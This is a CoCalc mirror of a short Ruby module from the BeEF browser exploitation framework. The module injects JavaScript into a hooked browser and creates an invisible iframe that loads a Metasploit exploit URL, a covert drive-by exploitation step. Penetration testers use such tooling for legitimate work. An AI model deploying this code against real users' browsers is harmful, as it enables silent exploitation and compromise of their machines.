Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/extensions/metasploit/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
7
# This is a dummy module to fool BeEF's loading system
8
class Msf_module < BeEF::Core::Command
9
def output
10
command = BeEF::Core::Models::Command.find(@command_id)
11
data = JSON.parse(command['data'])
12
sploit_url = data[0]['sploit_url']
13
14
"
15
beef.execute(function() {
16
var result;
17
18
try {
19
var sploit = beef.dom.createInvisibleIframe();
20
sploit.src = '#{sploit_url}';
21
} catch(e) {
22
for(var n in e)
23
result+= n + ' ' + e[n] ;
24
}
25
26
});"
27
end
28
end
29
30